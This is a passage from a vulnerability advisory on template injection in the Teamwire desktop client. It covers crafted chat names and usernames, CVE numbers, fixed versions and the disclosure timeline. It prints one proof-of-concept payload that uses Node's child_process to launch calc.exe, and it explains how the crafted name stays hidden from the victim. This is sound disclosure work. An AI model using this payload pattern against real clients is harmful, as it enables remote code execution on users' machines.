Another template injection was found inside the Teamwire desktop client. The vulnerable field was the name of a group chat. A malicious user must first create a chat with a crafted name including the template string. They can exploit this vulnerability to execute code on the victim’s system. If another user included in the chat writes a message to the attacker by selecting him from his contact list, the client merges the chats and the payload is executed on the victim’s system. Because the victim selects the other user from the contact list, he cannot see the manipulated chat name before the JavaScript is executed.

That only the first character of the chat names is displayed in the overview further helps to hide  malicious payloads.


Only the first part of the chat name is shown (left), hiding the malicious part.

The same code execution vulnerability is exploitable when the victim starts a chat with another user with a specially crafted username.

Because the Teamwire desktop client uses NW.js and the embedded Node.js has the ability to spawn arbitrary processes, template injection actually results in remote code execution on the client system.

This example payload opens the windows calculator on the client system:

{{constructor.constructor(„const x=require(‚child_process‘).spawn; x(‚calc.exe‘);“)()}}

The template injection can even lead to code execution on the receiving client.

Due to the internal structure of the code, the payload is executed four times when the vulnerability is triggered by sending a message.

Impact and Mitigations

The impact of the vulnerabilities is limited by the fact that a valid user account attributed to the organization is needed to perform the attack. If an attacker has obtained access to an account, no mitigation against the attack in the web interface (apart from not using it) exist. Preventing the code execution attack against the clients requires not accepting any messages from other accounts, obviating the purpose of a messaging application.

The vulnerabilities described above have been fixed in the backend version prod-2018-11-13-15-00-42  and in the desktop client version 1.9.0 released on 16.11.2018. To fully mitigate the vulnerabilities and continue the use of the product, these updates should be installed as soon as possible.

The vulnerability CVE-2018-17170 has been verified for the desktop client version 1.5.1, it affects most likely all versions prio to 1.9.0. The vulnerability CVE-2018-17560 affects all backend version prior to prod-2018-11-13-15-00-42.

Disclosure Timeline

16. October 2018 – Initial contact with the vendor

16. October 2018 – Submission of vulnerability details to the vendor

22. October 2018 – Further communication with vendor

16. November 2018 – Update released

21.  June 2019 – Public disclosure (the vendor asked for a postponed publication of the details, which we agreed on)

Credits

The vulnerabiliy was found by Julian Beier, Lars Burhop, Benjamin Braun, Viktor Schlüter and Denis Werner (HiSolutions).